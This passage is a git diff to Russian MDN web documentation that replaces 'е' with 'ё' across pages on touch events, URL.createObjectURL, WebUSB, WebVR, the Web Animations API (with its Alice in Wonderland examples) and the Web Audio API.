    В Firefox события касания отключены, когда отключён e10s (электролиз; многопроцессорный Firefox). e10s включён по умолчанию в Firefox, но может в конечном итоге отключаться в определённых ситуациях, например, когда установлены определённые инструменты специальных возможностей или надстройки Firefox, для работы которых требуется отключение e10s. Это означает, что даже на настольном компьютере / ноутбуке с сенсорным экраном сенсорные события не будут включены.

    -

    Вы можете проверить, отключен ли e10s, перейдя в about:support и посмотрев на запись «Многопроцессорная Windows» в разделе «Основы приложения». 1/1 означает, что он включен, 0/1 означает отключен.

    +

    Вы можете проверить, отключён ли e10s, перейдя в about:support и посмотрев на запись «Многопроцессорная Windows» в разделе «Основы приложения». 1/1 означает, что он включён, 0/1 означает отключен.

    -

    Если вы хотите принудительно включить e10s - чтобы явно повторно включить поддержку сенсорных событий - вам нужно перейти к about:config и создать новое логическое предпочтение browser.tabs.remote.force-enable. Установите значение true, перезапустите браузер, и e10s будет включен независимо от любых других настроек.

    +

    Если вы хотите принудительно включить e10s - чтобы явно повторно включить поддержку сенсорных событий - вам нужно перейти к about:config и создать новое логическое предпочтение browser.tabs.remote.force-enable. Установите значение true, перезапустите браузер, и e10s будет включён независимо от любых других настроек.

    diff --git a/files/ru/web/api/touchevent/index.html b/files/ru/web/api/touchevent/index.html index 2f5fa25eee..d141c8daa5 100644 --- a/files/ru/web/api/touchevent/index.html +++ b/files/ru/web/api/touchevent/index.html @@ -23,7 +23,7 @@ translation_of: Web/API/TouchEvent
    {{domxref("TouchEvent.TouchEvent", "TouchEvent()")}}
    -
    Создает экземпляр TouchEvent.
    +
    Создаёт экземпляр TouchEvent.

    Свойства

    @@ -65,7 +65,7 @@ translation_of: Web/API/TouchEvent

    Цель события - тот же экземпляр {{ domxref("Element") }}, что и для события touchstart с соответствующей точкой касания, даже если точка касания переместилась за пределы элемента.

    -

    Точки касания, удаленные с поверхности, содержатся в списке {{ domxref("TouchList") }}, который можно получить через атрибут changedTouches события.

    +

    Точки касания, удалённые с поверхности, содержатся в списке {{ domxref("TouchList") }}, который можно получить через атрибут changedTouches события.

    {{domxref("Element/touchmove_event", "touchmove")}}

    diff --git a/files/ru/web/api/url/createobjecturl/index.html b/files/ru/web/api/url/createobjecturl/index.html index bff6b425d5..01201cc4b0 100644 --- a/files/ru/web/api/url/createobjecturl/index.html +++ b/files/ru/web/api/url/createobjecturl/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/URL/createObjectURL

    Определение

    -

    URL.createObjectURL() - статический метод, который создает {{domxref("DOMString")}}, содержащий URL с указанием на объект, заданный как параметр. Время жизни URL связано с {{domxref("document")}} окна в котором он был создан. Новый URL объект может представлять собой {{domxref("File")}} объект или {{domxref("Blob")}} объект.

    +

    URL.createObjectURL() - статический метод, который создаёт {{domxref("DOMString")}}, содержащий URL с указанием на объект, заданный как параметр. Время жизни URL связано с {{domxref("document")}} окна в котором он был создан. Новый URL объект может представлять собой {{domxref("File")}} объект или {{domxref("Blob")}} объект.

    {{AvailableInWorkers}}

    @@ -23,7 +23,7 @@ translation_of: Web/API/URL/createObjectURL
    -
    Объект типа {{domxref("File")}} или {{domxref("Blob")}} для которого создается URL объект.
    +
    Объект типа {{domxref("File")}} или {{domxref("Blob")}} для которого создаётся URL объект.
      @@ -35,7 +35,7 @@ translation_of: Web/API/URL/createObjectURL

      Заметки

      -

      При каждом вызове createObjectURL(), создается новый URL объект, даже если он уже был ранее создан для того же самого объекта. Память для каждого из них нужно освобождать с помощью {{domxref("URL.revokeObjectURL()")}}, в том случае, если они больше не нужны. Браузер сделает это автоматически с выгрузкой объекта, тем не менее в целях оптимизации производительности и использования памяти, следует принудительно выгружать их по возможности.

      +

      При каждом вызове createObjectURL(), создаётся новый URL объект, даже если он уже был ранее создан для того же самого объекта. Память для каждого из них нужно освобождать с помощью {{domxref("URL.revokeObjectURL()")}}, в том случае, если они больше не нужны. Браузер сделает это автоматически с выгрузкой объекта, тем не менее в целях оптимизации производительности и использования памяти, следует принудительно выгружать их по возможности.

      Спецификации

      diff --git a/files/ru/web/api/usb/requestdevice/index.html b/files/ru/web/api/usb/requestdevice/index.html index bb162ad242..5ec208774e 100644 --- a/files/ru/web/api/usb/requestdevice/index.html +++ b/files/ru/web/api/usb/requestdevice/index.html @@ -43,7 +43,7 @@ translation_of: Web/API/USB/requestDevice

      Этот пример запрашивает любое из перечисленных USB-устройств. Обратите внимание, указаны два разных PID. Оба присутствуют в списке фильтров для requestDevice(). При этом браузер покажет окно для выбора и подтверждения доступа к устройству. Только выбранное пользователем устройство будет передано в then().

      -

      Количество фильтров не определяет количество устройств, показываемых браузером. Например, если найдено только USB-устройство с product ID 0xa800, браузер отобразит только одно устройство. Но, если браузер определит два устройства, совпадающих с первым фильтром, и еще одно, совпадающее со вторым, будут показаны все три устройства.

      +

      Количество фильтров не определяет количество устройств, показываемых браузером. Например, если найдено только USB-устройство с product ID 0xa800, браузер отобразит только одно устройство. Но, если браузер определит два устройства, совпадающих с первым фильтром, и ещё одно, совпадающее со вторым, будут показаны все три устройства.

      const filters = [
               {vendorId: 0x1209, productId: 0xa800},
      diff --git a/files/ru/web/api/vrdisplay/requestpresent/index.html b/files/ru/web/api/vrdisplay/requestpresent/index.html
      index 9537b94035..acdb59197f 100644
      --- a/files/ru/web/api/vrdisplay/requestpresent/index.html
      +++ b/files/ru/web/api/vrdisplay/requestpresent/index.html
      @@ -27,9 +27,9 @@ translation_of: Web/API/VRDisplay/requestPresent
       
       
        -
      • Если {{domxref("VRDisplayCapabilities.canPresent")}} ложно или если массив объектов VRLayer содержит более чем {{domxref("VRDisplayCapabilities.maxLayers")}} слоев, произойдёт переход в состояние "отклонено".
      • +
      • Если {{domxref("VRDisplayCapabilities.canPresent")}} ложно или если массив объектов VRLayer содержит более чем {{domxref("VRDisplayCapabilities.maxLayers")}} слоёв, произойдёт переход в состояние "отклонено".
      • Если объект {{domxref("VRDisplay")}} уже отображает сцену, то вызов его метода requestPresent() обновит массив отображаемых VRLayer объектов.
      • -
      • Если объект VRDisplay уже отображает сцену, а вызов метода requestPresent() приведет к возврату Promise в состоянии "отклонено", то отображение сцены прекратится.
      • +
      • Если объект VRDisplay уже отображает сцену, а вызов метода requestPresent() приведёт к возврату Promise в состоянии "отклонено", то отображение сцены прекратится.
      • If requestPresent() is called outside of an engagement gesture the promise will be rejected unless the VRDisplay was already presenting. This engagement gesture is also sufficient to allow requestPointerLock() calls until presentation has ended.
      diff --git a/files/ru/web/api/vrdisplayevent/index.html b/files/ru/web/api/vrdisplayevent/index.html index 8b8c2bee90..9847e7e521 100644 --- a/files/ru/web/api/vrdisplayevent/index.html +++ b/files/ru/web/api/vrdisplayevent/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/VRDisplayEvent
      {{domxref("VRDisplayEvent.VRDisplayEvent()")}}
      -
      Создает экземпляр объекта VRDisplayEvent.
      +
      Создаёт экземпляр объекта VRDisplayEvent.

      Properties

      diff --git a/files/ru/web/api/vrframedata/index.html b/files/ru/web/api/vrframedata/index.html index 5fe9d79079..babe98004a 100644 --- a/files/ru/web/api/vrframedata/index.html +++ b/files/ru/web/api/vrframedata/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/VRFrameData
      {{domxref("VRFrameData.VRFrameData()")}}
      -
      Создает экземпляр объекта VRFrameData.
      +
      Создаёт экземпляр объекта VRFrameData.

      Свойства

      diff --git a/files/ru/web/api/web_animations_api/index.html b/files/ru/web/api/web_animations_api/index.html index bb8ac2a631..7e9f416702 100644 --- a/files/ru/web/api/web_animations_api/index.html +++ b/files/ru/web/api/web_animations_api/index.html @@ -6,7 +6,7 @@ translation_of: Web/API/Web_Animations_API

      {{DefaultAPISidebar("Веб-анимация")}} {{SeeCompatTable()}}

      -

      API веб-анимации позволяет синхронизировать и сроки изменения представления веб-страницы, то есть анимации элементов DOM. Она делает это путем объединения двух моделей: Модель синхронизации и анимации модели.

      +

      API веб-анимации позволяет синхронизировать и сроки изменения представления веб-страницы, то есть анимации элементов DOM. Она делает это путём объединения двух моделей: Модель синхронизации и анимации модели.

      Основные понятия и использование API

      @@ -28,7 +28,7 @@ translation_of: Web/API/Web_Animations_API
      {{Domxref("DocumentTimeline")}}
      Представляет временные рамки анимации, в том числе временные рамки анимации по умолчанию для документа (через свойство {{domxref("Document.timeline")}}).
      {{Domxref("AnimationEffectTiming")}}
      -
      Объект, содержащий временные свойства, возвращенные {{domxref("KeyframeEffect.timing", "сроки")}} атрибут {{domxref("KeyframeEffect")}}. Он наследует свои свойства от {{domxref("AnimationEffectTimingReadOnly")}}, но в не только чтение формы.
      +
      Объект, содержащий временные свойства, возвращённые {{domxref("KeyframeEffect.timing", "сроки")}} атрибут {{domxref("KeyframeEffect")}}. Он наследует свои свойства от {{domxref("AnimationEffectTimingReadOnly")}}, но в не только чтение формы.
      {{Domxref("SharedKeyframeList")}}
      Представляет собой последовательность ключевых кадров , которые могут быть разделены между {{domxref("KeyframeEffect")}} объектов. Используя SharedKeyframeListобъекты, несколько KeyframeEffectобъектов могут повторно использовать одни и те же ключевые кадры , не заплатив стоимость разбора их несколько раз.
      {{domxref("AnimationEffectTimingProperties")}}
      @@ -58,7 +58,7 @@ translation_of: Web/API/Web_Animations_API

      Веб-анимация для чтения только интерфейсы

      -

      Следующие интерфейсы включены в спецификации для таких целей, как определение функции, используемые в нескольких других местах, или служить в качестве основы для нескольких интерфейсов, которые могут быть использованы в качестве значений одних и тех же свойств. Вы бы не напрямую использовать их в работе веб-разработки, но они могут быть интересны для авторов библиотеки, чтобы понять, как эта технология работает, так что их реализации могут быть более эффективными, или для инженеров браузеров, которые ищут более легкой ссылки, чем спецификация обеспечивает.

      +

      Следующие интерфейсы включены в спецификации для таких целей, как определение функции, используемые в нескольких других местах, или служить в качестве основы для нескольких интерфейсов, которые могут быть использованы в качестве значений одних и тех же свойств. Вы бы не напрямую использовать их в работе веб-разработки, но они могут быть интересны для авторов библиотеки, чтобы понять, как эта технология работает, так что их реализации могут быть более эффективными, или для инженеров браузеров, которые ищут более лёгкой ссылки, чем спецификация обеспечивает.

      {{Domxref("AnimationEffectTimingReadOnly")}}
      diff --git a/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html b/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html index d050b43cb8..e19524852d 100644 --- a/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html +++ b/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API ---

      {{DefaultAPISidebar("Web Animations")}}

      -

      Web Animations API позволяет нам создать анимацию и управлять её воспроизведением с помощью JavaScript. Эта статья будет правильным руководством для старта c веселыми демками и уроками с Алисой в Стране Чудес.

      +

      Web Animations API позволяет нам создать анимацию и управлять её воспроизведением с помощью JavaScript. Эта статья будет правильным руководством для старта c весёлыми демками и уроками с Алисой в Стране Чудес.

      Встречайте Web Animations API

      @@ -18,7 +18,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API

      Поддержка Браузеров

      -

      Основы и компоненты Web Animations API, описанные в этой статье доступны в Firefox 48+ и Chrome 36+. Webkit и Edge перешли на  API соответственно, но пока нет полной поддержки во всех браузерах, есть удобная служба проверки handy maintained polyfill которая тестирует и добавляет ее при необходимости.

      +

      Основы и компоненты Web Animations API, описанные в этой статье доступны в Firefox 48+ и Chrome 36+. Webkit и Edge перешли на  API соответственно, но пока нет полной поддержки во всех браузерах, есть удобная служба проверки handy maintained polyfill которая тестирует и добавляет её при необходимости.

      Написание CSS Animations вместе с Web Animations API

      @@ -26,11 +26,11 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API

      CSS версия

      -

      Вот такая анимация написана в CSS, показывающая, как Алиса падает в кроличью нору, которая ведет в страну чудес (см. полный код на Codepen):

      +

      Вот такая анимация написана в CSS, показывающая, как Алиса падает в кроличью нору, которая ведёт в страну чудес (см. полный код на Codepen):

      Alice Tumbling down the rabbit's hole.

      -

      Заметьте, что фон двигается, Алиса крутится и ее цвет меняется при вращении. Мы собираемся сосредоточиться только на Алисе в этом уроке. Вот упрощенный код CSS, который управляет движением Алисы.

      +

      Заметьте, что фон двигается, Алиса крутится и её цвет меняется при вращении. Мы собираемся сосредоточиться только на Алисе в этом уроке. Вот упрощённый код CSS, который управляет движением Алисы.

      #alice {
         animation: aliceTumbling infinite 3s linear;
      @@ -50,7 +50,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
         }
       }
      -

      Изменение цвета Алисы и ее вращение в течение 3 секунд при постоянной (линейной) скорости и бесконечном цикле. В @keyframes блоке мы видим, что 30%  из всего цикла (около 9 секунд), цвет Алисы меняется от черного до насыщенного бордового, а потом снова в черный к концу цикла.

      +

      Изменение цвета Алисы и её вращение в течение 3 секунд при постоянной (линейной) скорости и бесконечном цикле. В @keyframes блоке мы видим, что 30%  из всего цикла (около 9 секунд), цвет Алисы меняется от чёрного до насыщенного бордового, а потом снова в чёрный к концу цикла.

      Движение в JavaScript

      @@ -66,13 +66,13 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API { transform: 'rotate(360deg) translate3D(-50%, -50%, 0)', color: '#000' } ];
      -

      Здесь мы используем массив, содержащий несколько объектов. Каждый объект представляет собой код от оригинального CSS. Однако, в отличие от CSS, Web Animations API не нужно назначать точные проценты по анимации для каждого открывающего кода. Он автоматически разделит анимацию на равные части в соответствии с количеством кодов, которые вы ему даете. Это означает, что объект Keyframe с тремя кодами будет воспроизводить средний код 50% времени через каждый цикл анимации если не указано иное.

      +

      Здесь мы используем массив, содержащий несколько объектов. Каждый объект представляет собой код от оригинального CSS. Однако, в отличие от CSS, Web Animations API не нужно назначать точные проценты по анимации для каждого открывающего кода. Он автоматически разделит анимацию на равные части в соответствии с количеством кодов, которые вы ему даёте. Это означает, что объект Keyframe с тремя кодами будет воспроизводить средний код 50% времени через каждый цикл анимации если не указано иное.

      -

      Если мы хотим, чтобы определенный набор кода смещался относительного другого кода, мы можем указать смещение непосредственно на объекте который будет меняться, отделив значение запятой. В приведенном выше примере видно, чтобы цвет Алисы менялся на 30%, а не на 50% всего цикла, мы задаем смещение: 0,333.

      +

      Если мы хотим, чтобы определённый набор кода смещался относительного другого кода, мы можем указать смещение непосредственно на объекте который будет меняться, отделив значение запятой. В приведённом выше примере видно, чтобы цвет Алисы менялся на 30%, а не на 50% всего цикла, мы задаём смещение: 0,333.

      Там должно быть как минимум два кадра (представляющих начало и конец анимации). Если в вашем списке keyframe только одна запись, {{domxref("Element.animate()")}} то анимация выполняться не будет, вы получите ошибку NotSupportedError exception.

      -

      И так повторим, код равномерно распределен по умолчанию, если не указано смещение. Удобно, не так ли?

      +

      И так повторим, код равномерно распределён по умолчанию, если не указано смещение. Удобно, не так ли?

      Представление свойства времени.

      @@ -87,7 +87,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
      • Во-первых, длительность в миллисекундах, в отличии от секунд - 3000, а не 3с. Как {{domxref("WindowTimers.setTimeout()")}} и {{domxref("Window.requestAnimationFrame()")}}, Web Animations API использует только миллисекунды.
      • -
      • Во-вторых, что вы заметили, что он итерационный (повторяется), а не счетчик повторений.
      • +
      • Во-вторых, что вы заметили, что он итерационный (повторяется), а не счётчик повторений.
      @@ -96,7 +96,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API

      Собираем части вместе.

      -

      Сейчас соберем все части вместе используя {{domxref("Element.animate()")}} метод:

      +

      Сейчас соберём все части вместе используя {{domxref("Element.animate()")}} метод:

      document.getElementById("alice").animate(
         aliceTumbling,
      @@ -105,7 +105,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
       
       

      И вуаля, анимация работает(смотрите готовый вариант на version on Codepen).

      -

      The animate() метод может быть применен на любой DOM-элемент, который может быть анимирован с помощью CSS. И он может быть записан несколькими способами. Вместо того, чтобы делить объекты на ключевые кадры и временные характеристики, мы могли бы просто передать свои значения непосредственно вот так:

      +

      The animate() метод может быть применён на любой DOM-элемент, который может быть анимирован с помощью CSS. И он может быть записан несколькими способами. Вместо того, чтобы делить объекты на ключевые кадры и временные характеристики, мы могли бы просто передать свои значения непосредственно вот так:

      document.getElementById("alice").animate(
         [
      @@ -118,7 +118,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
         }
       );
      -

      Более того, если мы хотели указать только длительность анимации, а не ее повторение (по умолчанию анимации повторяется один раз), мы могли бы пройтись только по миллисекундам:

      +

      Более того, если мы хотели указать только длительность анимации, а не её повторение (по умолчанию анимации повторяется один раз), мы могли бы пройтись только по миллисекундам:

      document.getElementById("alice").animate(
         [
      @@ -133,7 +133,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API
       
       

      Playing the growing and shrinking game with Alice.

      -

      В этой игре Алиса меняется в росте, она то растет, то уменьшается, а контролируем мы этот процесс с помощью  бутылки и кекса. Каждый из них имеют свою анимацию.

      +

      В этой игре Алиса меняется в росте, она то растёт, то уменьшается, а контролируем мы этот процесс с помощью  бутылки и кекса. Каждый из них имеют свою анимацию.

      Пауза и проигрывание анимации.

      @@ -149,7 +149,7 @@ translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API duration: aliceChange.effect.timing.duration / 2 });
      -

      Метод {{domxref("Element.animate()")}} будет выполняться сразу же как начнется игра. Чтобы предотвратить автоматическое поедание кекса до того, как пользователь на него нажмет, мы вызываем {{domxref("Animation.pause()")}} сразу же как игра открывается, например так:

      +

      Метод {{domxref("Element.animate()")}} будет выполняться сразу же как начнётся игра. Чтобы предотвратить автоматическое поедание кекса до того, как пользователь на него нажмёт, мы вызываем {{domxref("Animation.pause()")}} сразу же как игра открывается, например так:

      nommingCake.pause();
      @@ -180,11 +180,11 @@ cake.addEventListener("touchstart", growAlice, false);
      • {{domxref("Animation.finish()")}} перейти в конец анимации.
      • -
      • {{domxref("Animation.cancel()")}} прервать анимацию и удалить ее эффект.
      • -
      • {{domxref("Animation.reverse()")}} устанавливать скорость анимации если установить ({{domxref("Animation.playbackRate")}} отрицательное значение, то анимация пойдет в обратном порядке.
      • +
      • {{domxref("Animation.cancel()")}} прервать анимацию и удалить её эффект.
      • +
      • {{domxref("Animation.reverse()")}} устанавливать скорость анимации если установить ({{domxref("Animation.playbackRate")}} отрицательное значение, то анимация пойдёт в обратном порядке.
      -

      Давайте посмотрим на первый playbackRate— отрицательное значение будет запускать анимацию в обратном направлении. Когда Алиса пьет из бутылки, она становится меньше. Это происходит потому, что бутылка изменяет ее анимацию playbackRate от 1 до -1:

      +

      Давайте посмотрим на первый playbackRate— отрицательное значение будет запускать анимацию в обратном направлении. Когда Алиса пьёт из бутылки, она становится меньше. Это происходит потому, что бутылка изменяет её анимацию playbackRate от 1 до -1:

      var shrinkAlice = function() {
         aliceChange.playbackRate = -1;
      @@ -194,11 +194,11 @@ cake.addEventListener("touchstart", growAlice, false);
      bottle.addEventListener("mousedown", shrinkAlice, false); bottle.addEventListener("touchstart", shrinkAlice, false); -

      В Through the Looking-Glass, Алиса путешествует по миру, где должна бежать, чтобы оставаться на месте и бежать в двое быстрее, чтобы двигаться вперед. Например в гонке с Красной королевой, Алиса и Красная королева бегут, чтобы оставаться на месте (проверить полный код можно на full code on Codepen):

      +

      В Through the Looking-Glass, Алиса путешествует по миру, где должна бежать, чтобы оставаться на месте и бежать в двое быстрее, чтобы двигаться вперёд. Например в гонке с Красной королевой, Алиса и Красная королева бегут, чтобы оставаться на месте (проверить полный код можно на full code on Codepen):

      Alice and the Red Queen race to get to the next square in this game.

      -

      Так как маленькие дети легко устают, в отличии от шахматных фигур, Алиса постоянно замедляется. Мы отобразили это в коде путем ослабления (уменьшения скорости) playbackRate анимации.

      +

      Так как маленькие дети легко устают, в отличии от шахматных фигур, Алиса постоянно замедляется. Мы отобразили это в коде путём ослабления (уменьшения скорости) playbackRate анимации.

      setInterval( function() {
       
      @@ -209,7 +209,7 @@ bottle.addEventListener("touchstart", shrinkAlice, false);
      }, 3000); -

      Но постоянно нажимая на них мышью, мы заставляем их ускориться путем умножения playbackRate (скорости анимации)

      +

      Но постоянно нажимая на них мышью, мы заставляем их ускориться путём умножения playbackRate (скорости анимации)

      var goFaster = function() {
       
      @@ -224,7 +224,7 @@ document.addEventListener("touchstart", goFaster);

      Получение информации из анимации

      -

      Представьте, что мы могли бы использовать playbackRate, как улучшения доступности сайта для пользователей с вестибулярными расстройствами, позволяя им замедлить анимацию на всех страницах сайта. Это невозможно сделать с помощью CSS без пересчета длительности в каждом правиле CSS, но с веб-анимации API, мы могли бы использовать в будущем (пока не поддерживается в браузерах!) Метод {{domxref("document.getAnimations()")}} систему циклов по каждой анимации на странице и сократить скорость анимации вот так:

      +

      Представьте, что мы могли бы использовать playbackRate, как улучшения доступности сайта для пользователей с вестибулярными расстройствами, позволяя им замедлить анимацию на всех страницах сайта. Это невозможно сделать с помощью CSS без пересчёта длительности в каждом правиле CSS, но с веб-анимации API, мы могли бы использовать в будущем (пока не поддерживается в браузерах!) Метод {{domxref("document.getAnimations()")}} систему циклов по каждой анимации на странице и сократить скорость анимации вот так:

      document.getAnimations().forEach(
         function (animation) {
      @@ -250,21 +250,21 @@ document.addEventListener("touchstart", goFaster);
      fill: 'both' }); -

      Изменение размера Алисы в два раза происходит за 8 секунд. Затем мы останавливаем ее:

      +

      Изменение размера Алисы в два раза происходит за 8 секунд. Затем мы останавливаем её:

      aliceChange.pause();
      -

      Если бы оставили ее на паузе в начале анимации , то Алиса увеличилась бы в два раза, когда выпила бы всю бутылку. Мы хотим остановить ее анимацию "воспроизведение" в середине, когда она уже на половину выполнена. Мы могли бы это сделать, установив {{domxref("Animation.currentTime")}} 4 секунды, вот так:

      +

      Если бы оставили её на паузе в начале анимации , то Алиса увеличилась бы в два раза, когда выпила бы всю бутылку. Мы хотим остановить её анимацию "воспроизведение" в середине, когда она уже на половину выполнена. Мы могли бы это сделать, установив {{domxref("Animation.currentTime")}} 4 секунды, вот так:

      aliceChange.currentTime = 4000;
      -

      Но во время работы над этой анимацией мы можем сильно увеличить ее продолжительность. Разве не лучше установить динамическое изменение времени (currentTime), тогда нам не придется делать два обновления за один раз. Мы можем это сделать с помощью ссылки на изменение свойства размера Алисы (aliceChange) {{domxref("Animation.effect")}} который возвращает все детали и действующие эффекты, содержащиеся в объекте, на Алису:

      +

      Но во время работы над этой анимацией мы можем сильно увеличить её продолжительность. Разве не лучше установить динамическое изменение времени (currentTime), тогда нам не придётся делать два обновления за один раз. Мы можем это сделать с помощью ссылки на изменение свойства размера Алисы (aliceChange) {{domxref("Animation.effect")}} который возвращает все детали и действующие эффекты, содержащиеся в объекте, на Алису:

      aliceChange.currentTime = aliceChange.effect.timing.duration / 2;
      -

      эффекты позволяют нам получить доступ к анимации keyframe (кадров) и синхронности объектов - aliceChange.effect.timing , указывающий на время Алисиных элементов (которые имеют тип {{domxref("AnimationEffectTimingReadOnly")}}) — в этом содержится ее {{domxref("AnimationEffectTimingReadOnly.duration")}}. Мы можем распределить ее длительность на два раза, чтобы получить среднюю точку во временной шкале для установки нормального роста.

      +

      эффекты позволяют нам получить доступ к анимации keyframe (кадров) и синхронности объектов - aliceChange.effect.timing , указывающий на время Алисиных элементов (которые имеют тип {{domxref("AnimationEffectTimingReadOnly")}}) — в этом содержится её {{domxref("AnimationEffectTimingReadOnly.duration")}}. Мы можем распределить её длительность на два раза, чтобы получить среднюю точку во временной шкале для установки нормального роста.

      -

      Теперь мы можем запустить ее в обратном порядке и играться анимацией в любом направлении, чтобы заставить ее расти или уменьшаться

      +

      Теперь мы можем запустить её в обратном порядке и играться анимацией в любом направлении, чтобы заставить её расти или уменьшаться

      var drinking = document.getElementById('liquid').animate(
       [
      @@ -280,7 +280,7 @@ drinking.pause();

      Теперь все три анимации связаны только с одной продолжительности, и мы можем легко переходить из одного места.

      -

      Мы также можем использовать веб-анимации API, чтобы выяснить Текущее время анимации. Игра заканчивается, когда вы бежите от съеденного торта или выпитой бутылки. Изображение у игрока будет зависеть от анимации Алисы. Стала ли она слишком большой на фоне крошечной двери и не может в нее пройти или слишком маленькой и не может достать ключ, чтобы открыть дверь. Мы можем выяснить, стала она большой или маленький в конце ее анимация, получая текущее время ее анимации currentTime и разделив ее на activeDuration:

      +

      Мы также можем использовать веб-анимации API, чтобы выяснить Текущее время анимации. Игра заканчивается, когда вы бежите от съеденного торта или выпитой бутылки. Изображение у игрока будет зависеть от анимации Алисы. Стала ли она слишком большой на фоне крошечной двери и не может в неё пройти или слишком маленькой и не может достать ключ, чтобы открыть дверь. Мы можем выяснить, стала она большой или маленький в конце её анимация, получая текущее время её анимации currentTime и разделив её на activeDuration:

      var endGame = function() {
       
      @@ -334,7 +334,7 @@ aliceChange.onfinish = endGame;
       
       
      -

      Нравится перспектива? Web Animations API также дает две перспективы: onfinish и oncancel.

      +

      Нравится перспектива? Web Animations API также даёт две перспективы: onfinish и oncancel.

      Эти обещания не полностью поддерживаются в настоящий момент.

      diff --git a/files/ru/web/api/web_audio_api/index.html b/files/ru/web/api/web_audio_api/index.html index ba3df973e4..cb927ca206 100644 --- a/files/ru/web/api/web_audio_api/index.html +++ b/files/ru/web/api/web_audio_api/index.html @@ -12,7 +12,7 @@ tags: translation_of: Web/API/Web_Audio_API ---
      -

      Web audio API - мощный и многогранный инструмент для манипуляции звуковой составляющей на веб-странице, что дает возможность разработчикам выбрать источники, добавить к ним специальные звуковые эффекты (такие как panning), визуализировать их и многое другое.

      +

      Web audio API - мощный и многогранный инструмент для манипуляции звуковой составляющей на веб-странице, что даёт возможность разработчикам выбрать источники, добавить к ним специальные звуковые эффекты (такие как panning), визуализировать их и многое другое.

      Общие концепции и использование Web Audio

      @@ -52,7 +52,7 @@ translation_of: Web/API/Web_Audio_API
      {{domxref("AudioContext")}}
      -
      AudioContext представляет собой некий аудио обрабатывающий объект, сооруженный из аудио модулей связанных вместе, где каждый является экземпляром класса {{domxref("AudioNode")}}. AudioContext управляет созданием узлов, содержащихся в нём и выполняет обработку или декодирование аудио данных.
      +
      AudioContext представляет собой некий аудио обрабатывающий объект, сооружённый из аудио модулей связанных вместе, где каждый является экземпляром класса {{domxref("AudioNode")}}. AudioContext управляет созданием узлов, содержащихся в нём и выполняет обработку или декодирование аудио данных.
      {{domxref("AudioNode")}}
      Интерфейс AudioNode представляет собой некий обрабатывающий  модуль такой как источник аудио  (то есть HTML <audio> или <video> элемент), конечный аудио объект, модуль непосредственной обработки (например фильтр BiquadFilterNode или звуковой контроллер такой как GainNode).
      {{domxref("AudioParam")}}
      @@ -87,7 +87,7 @@ translation_of: Web/API/Web_Audio_API
      {{domxref("BiquadFilterNode")}}
      BiquadFilterNode представляет простой фильтр низкого порядка. Это {{domxref("AudioNode")}} представляющий различные виды фильтров такие как эквалайзер или управление тональностью. BiquadFilterNode имеет ровно один вход и один выход.
      {{domxref("ConvolverNode")}}
      -
      ConvolverNode это {{domxref("AudioNode")}} выполняющий линейную свертку AudioBuffer, часто применяется для достижения эффекта реверберации по заданной импульсной характеристике.
      +
      ConvolverNode это {{domxref("AudioNode")}} выполняющий линейную свёртку AudioBuffer, часто применяется для достижения эффекта реверберации по заданной импульсной характеристике.
      {{domxref("DelayNode")}}
      DelayNode представляет собой линию задержки (delay-line); содержит {{domxref("AudioNode")}} вызывающий задержку между выходным и входным сигналом.
      {{domxref("DynamicsCompressorNode")}}
      diff --git a/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html b/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html index cd2730006c..63e50078b7 100644 --- a/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html +++ b/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html @@ -27,10 +27,10 @@ analyser.connect(distortion); distortion.connect(audioCtx.destination);
      -

      Примечание: вам не нужно подключать вывод анализатора к другому узлу для его работы, пока его ввод подключен к источнику, либо напрямую, либо через другой узел.

      +

      Примечание: вам не нужно подключать вывод анализатора к другому узлу для его работы, пока его ввод подключён к источнику, либо напрямую, либо через другой узел.

      -

      Затем анализатор захватит аудиоданные, используя быстрое преобразование Фурье (БПФ) в определенной частотной области, в зависимости от того, что вы укажете как значение свойства {{ domxref("AnalyserNode.fftSize") }} (если свойство не задано, то значение по умолчанию равно 2048).

      +

      Затем анализатор захватит аудиоданные, используя быстрое преобразование Фурье (БПФ) в определённой частотной области, в зависимости от того, что вы укажете как значение свойства {{ domxref("AnalyserNode.fftSize") }} (если свойство не задано, то значение по умолчанию равно 2048).

      Примечание: Вы так же можете указать значения минимума и максимума для диапазона масштабирования данных БПФ, используя {{ domxref("AnalyserNode.minDecibels") }} и {{ domxref("AnalyserNode.maxDecibels") }}, и разные константы усреднения данных с помощью {{ domxref("AnalyserNode.smoothingTimeConstant") }}. Прочтите эти страницы, чтобы получить больше информации о том как их использовать.

      @@ -38,9 +38,9 @@ distortion.connect(audioCtx.destination);

      Чтобы получить данные, Вам нужно использовать методы {{ domxref("AnalyserNode.getFloatFrequencyData()") }} и {{ domxref("AnalyserNode.getByteFrequencyData()") }}, чтобы получить данные о частоте, и {{ domxref("AnalyserNode.getByteTimeDomainData()") }} и {{ domxref("AnalyserNode.getFloatTimeDomainData()") }} чтобы получить данные о форме волны.

      -

      Эти методы копируют данные в указанный массив, поэтому Вам необходимо создать новый массив для хранения данных, прежде чем вызывать эти функции . Результат первой из них - числа типа float32, второй и третьей - uint8, поэтому стандартный массив JavaScript не подойдет для их хранения — следует использовать массивы {{ domxref("Float32Array") }} или {{ domxref("Uint8Array") }}, в зависимости от нужных Вам данных.

      +

